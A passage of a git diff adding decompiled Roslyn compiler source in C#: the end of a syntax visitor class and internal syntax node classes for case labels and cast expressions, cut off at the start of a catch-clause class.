DefaultVisit(node); + } + + public virtual void VisitFixedStatement(FixedStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitCheckedStatement(CheckedStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitUnsafeStatement(UnsafeStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitLockStatement(LockStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitIfStatement(IfStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitElseClause(ElseClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitSwitchStatement(SwitchStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitSwitchSection(SwitchSectionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitCasePatternSwitchLabel(CasePatternSwitchLabelSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitCaseSwitchLabel(CaseSwitchLabelSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitDefaultSwitchLabel(DefaultSwitchLabelSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitSwitchExpression(SwitchExpressionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitSwitchExpressionArm(SwitchExpressionArmSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitTryStatement(TryStatementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitCatchClause(CatchClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitCatchDeclaration(CatchDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitCatchFilterClause(CatchFilterClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitFinallyClause(FinallyClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitCompilationUnit(CompilationUnitSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitExternAliasDirective(ExternAliasDirectiveSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitUsingDirective(UsingDirectiveSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitNamespaceDeclaration(NamespaceDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitFileScopedNamespaceDeclaration(FileScopedNamespaceDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitAttributeList(AttributeListSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitAttributeTargetSpecifier(AttributeTargetSpecifierSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitAttribute(AttributeSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitAttributeArgumentList(AttributeArgumentListSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitAttributeArgument(AttributeArgumentSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitNameEquals(NameEqualsSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitTypeParameterList(TypeParameterListSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitTypeParameter(TypeParameterSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitClassDeclaration(ClassDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitStructDeclaration(StructDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitInterfaceDeclaration(InterfaceDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitRecordDeclaration(RecordDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitEnumDeclaration(EnumDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitDelegateDeclaration(DelegateDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitEnumMemberDeclaration(EnumMemberDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitBaseList(BaseListSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitSimpleBaseType(SimpleBaseTypeSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitPrimaryConstructorBaseType(PrimaryConstructorBaseTypeSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitTypeParameterConstraintClause(TypeParameterConstraintClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitConstructorConstraint(ConstructorConstraintSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitClassOrStructConstraint(ClassOrStructConstraintSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitTypeConstraint(TypeConstraintSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitDefaultConstraint(DefaultConstraintSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitFieldDeclaration(FieldDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitEventFieldDeclaration(EventFieldDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitExplicitInterfaceSpecifier(ExplicitInterfaceSpecifierSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitMethodDeclaration(MethodDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitOperatorDeclaration(OperatorDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitConversionOperatorDeclaration(ConversionOperatorDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitConstructorDeclaration(ConstructorDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitConstructorInitializer(ConstructorInitializerSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitDestructorDeclaration(DestructorDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitPropertyDeclaration(PropertyDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitArrowExpressionClause(ArrowExpressionClauseSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitEventDeclaration(EventDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitIndexerDeclaration(IndexerDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitAccessorList(AccessorListSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitAccessorDeclaration(AccessorDeclarationSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitParameterList(ParameterListSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitBracketedParameterList(BracketedParameterListSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitParameter(ParameterSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitFunctionPointerParameter(FunctionPointerParameterSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitIncompleteMember(IncompleteMemberSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitSkippedTokensTrivia(SkippedTokensTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitDocumentationCommentTrivia(DocumentationCommentTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitTypeCref(TypeCrefSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitQualifiedCref(QualifiedCrefSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitNameMemberCref(NameMemberCrefSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitIndexerMemberCref(IndexerMemberCrefSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitOperatorMemberCref(OperatorMemberCrefSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitConversionOperatorMemberCref(ConversionOperatorMemberCrefSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitCrefParameterList(CrefParameterListSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitCrefBracketedParameterList(CrefBracketedParameterListSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitCrefParameter(CrefParameterSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitXmlElement(XmlElementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitXmlElementStartTag(XmlElementStartTagSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitXmlElementEndTag(XmlElementEndTagSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitXmlEmptyElement(XmlEmptyElementSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitXmlName(XmlNameSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitXmlPrefix(XmlPrefixSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitXmlTextAttribute(XmlTextAttributeSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitXmlCrefAttribute(XmlCrefAttributeSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitXmlNameAttribute(XmlNameAttributeSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitXmlText(XmlTextSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitXmlCDataSection(XmlCDataSectionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitXmlProcessingInstruction(XmlProcessingInstructionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitXmlComment(XmlCommentSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitIfDirectiveTrivia(IfDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitElifDirectiveTrivia(ElifDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitElseDirectiveTrivia(ElseDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitEndIfDirectiveTrivia(EndIfDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitRegionDirectiveTrivia(RegionDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitEndRegionDirectiveTrivia(EndRegionDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitErrorDirectiveTrivia(ErrorDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitWarningDirectiveTrivia(WarningDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitBadDirectiveTrivia(BadDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitDefineDirectiveTrivia(DefineDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitUndefDirectiveTrivia(UndefDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitLineDirectiveTrivia(LineDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitLineDirectivePosition(LineDirectivePositionSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitLineSpanDirectiveTrivia(LineSpanDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitPragmaWarningDirectiveTrivia(PragmaWarningDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitPragmaChecksumDirectiveTrivia(PragmaChecksumDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitReferenceDirectiveTrivia(ReferenceDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitLoadDirectiveTrivia(LoadDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitShebangDirectiveTrivia(ShebangDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } + + public virtual void VisitNullableDirectiveTrivia(NullableDirectiveTriviaSyntax node) + { + DefaultVisit(node); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CasePatternSwitchLabelSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CasePatternSwitchLabelSyntax.cs new file mode 100644 index 0000000..f1689ad --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CasePatternSwitchLabelSyntax.cs @@ -0,0 +1,168 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class CasePatternSwitchLabelSyntax : SwitchLabelSyntax +{ + internal readonly SyntaxToken keyword; + + internal readonly PatternSyntax pattern; + + internal readonly WhenClauseSyntax? whenClause; + + internal readonly SyntaxToken colonToken; + + public override SyntaxToken Keyword => keyword; + + public PatternSyntax Pattern => pattern; + + public WhenClauseSyntax? WhenClause => whenClause; + + public override SyntaxToken ColonToken => colonToken; + + internal CasePatternSwitchLabelSyntax(SyntaxKind kind, SyntaxToken keyword, PatternSyntax pattern, WhenClauseSyntax? whenClause, SyntaxToken colonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + if (whenClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenClause); + this.whenClause = whenClause; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal CasePatternSwitchLabelSyntax(SyntaxKind kind, SyntaxToken keyword, PatternSyntax pattern, WhenClauseSyntax? whenClause, SyntaxToken colonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + if (whenClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenClause); + this.whenClause = whenClause; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal CasePatternSwitchLabelSyntax(SyntaxKind kind, SyntaxToken keyword, PatternSyntax pattern, WhenClauseSyntax? whenClause, SyntaxToken colonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + if (whenClause != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenClause); + this.whenClause = whenClause; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => keyword, + 1 => pattern, + 2 => whenClause, + 3 => colonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.CasePatternSwitchLabelSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCasePatternSwitchLabel(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCasePatternSwitchLabel(this); + } + + public CasePatternSwitchLabelSyntax Update(SyntaxToken keyword, PatternSyntax pattern, WhenClauseSyntax whenClause, SyntaxToken colonToken) + { + if (keyword != Keyword || pattern != Pattern || whenClause != WhenClause || colonToken != ColonToken) + { + CasePatternSwitchLabelSyntax casePatternSwitchLabelSyntax = SyntaxFactory.CasePatternSwitchLabel(keyword, pattern, whenClause, colonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + casePatternSwitchLabelSyntax = GreenNodeExtensions.WithDiagnosticsGreen(casePatternSwitchLabelSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + casePatternSwitchLabelSyntax = GreenNodeExtensions.WithAnnotationsGreen(casePatternSwitchLabelSyntax, (IEnumerable)annotations); + } + return casePatternSwitchLabelSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new CasePatternSwitchLabelSyntax(base.Kind, keyword, pattern, whenClause, colonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new CasePatternSwitchLabelSyntax(base.Kind, keyword, pattern, whenClause, colonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal CasePatternSwitchLabelSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + PatternSyntax patternSyntax = (PatternSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)patternSyntax); + pattern = patternSyntax; + WhenClauseSyntax whenClauseSyntax = (WhenClauseSyntax)reader.ReadValue(); + if (whenClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)whenClauseSyntax); + whenClause = whenClauseSyntax; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + colonToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)pattern); + writer.WriteValue((IObjectWritable)(object)whenClause); + writer.WriteValue((IObjectWritable)(object)colonToken); + } + + static CasePatternSwitchLabelSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(CasePatternSwitchLabelSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new CasePatternSwitchLabelSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CaseSwitchLabelSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CaseSwitchLabelSyntax.cs new file mode 100644 index 0000000..98d4732 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CaseSwitchLabelSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class CaseSwitchLabelSyntax : SwitchLabelSyntax +{ + internal readonly SyntaxToken keyword; + + internal readonly ExpressionSyntax value; + + internal readonly SyntaxToken colonToken; + + public override SyntaxToken Keyword => keyword; + + public ExpressionSyntax Value => value; + + public override SyntaxToken ColonToken => colonToken; + + internal CaseSwitchLabelSyntax(SyntaxKind kind, SyntaxToken keyword, ExpressionSyntax value, SyntaxToken colonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)value); + this.value = value; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal CaseSwitchLabelSyntax(SyntaxKind kind, SyntaxToken keyword, ExpressionSyntax value, SyntaxToken colonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)value); + this.value = value; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal CaseSwitchLabelSyntax(SyntaxKind kind, SyntaxToken keyword, ExpressionSyntax value, SyntaxToken colonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)value); + this.value = value; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => keyword, + 1 => value, + 2 => colonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.CaseSwitchLabelSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCaseSwitchLabel(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCaseSwitchLabel(this); + } + + public CaseSwitchLabelSyntax Update(SyntaxToken keyword, ExpressionSyntax value, SyntaxToken colonToken) + { + if (keyword != Keyword || value != Value || colonToken != ColonToken) + { + CaseSwitchLabelSyntax caseSwitchLabelSyntax = SyntaxFactory.CaseSwitchLabel(keyword, value, colonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + caseSwitchLabelSyntax = GreenNodeExtensions.WithDiagnosticsGreen(caseSwitchLabelSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + caseSwitchLabelSyntax = GreenNodeExtensions.WithAnnotationsGreen(caseSwitchLabelSyntax, (IEnumerable)annotations); + } + return caseSwitchLabelSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new CaseSwitchLabelSyntax(base.Kind, keyword, value, colonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new CaseSwitchLabelSyntax(base.Kind, keyword, value, colonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal CaseSwitchLabelSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + value = expressionSyntax; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + colonToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)value); + writer.WriteValue((IObjectWritable)(object)colonToken); + } + + static CaseSwitchLabelSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(CaseSwitchLabelSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new CaseSwitchLabelSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CastExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CastExpressionSyntax.cs new file mode 100644 index 0000000..1b5de85 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CastExpressionSyntax.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class CastExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken openParenToken; + + internal readonly TypeSyntax type; + + internal readonly SyntaxToken closeParenToken; + + internal readonly ExpressionSyntax expression; + + public SyntaxToken OpenParenToken => openParenToken; + + public TypeSyntax Type => type; + + public SyntaxToken CloseParenToken => closeParenToken; + + public ExpressionSyntax Expression => expression; + + internal CastExpressionSyntax(SyntaxKind kind, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal CastExpressionSyntax(SyntaxKind kind, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken, ExpressionSyntax expression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal CastExpressionSyntax(SyntaxKind kind, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken, ExpressionSyntax expression) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openParenToken, + 1 => type, + 2 => closeParenToken, + 3 => expression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.CastExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCastExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCastExpression(this); + } + + public CastExpressionSyntax Update(SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken, ExpressionSyntax expression) + { + if (openParenToken != OpenParenToken || type != Type || closeParenToken != CloseParenToken || expression != Expression) + { + CastExpressionSyntax castExpressionSyntax = SyntaxFactory.CastExpression(openParenToken, type, closeParenToken, expression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + castExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(castExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + castExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(castExpressionSyntax, (IEnumerable)annotations); + } + return castExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new CastExpressionSyntax(base.Kind, openParenToken, type, closeParenToken, expression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new CastExpressionSyntax(base.Kind, openParenToken, type, closeParenToken, expression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal CastExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openParenToken = syntaxToken; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeParenToken = syntaxToken2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + writer.WriteValue((IObjectWritable)(object)expression); + } + + static CastExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(CastExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new CastExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CatchClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CatchClauseSyntax.cs new file mode 100644 index 0000000..34ca0d4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CatchClauseSyntax.cs @@ -0,0 +1,180 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + 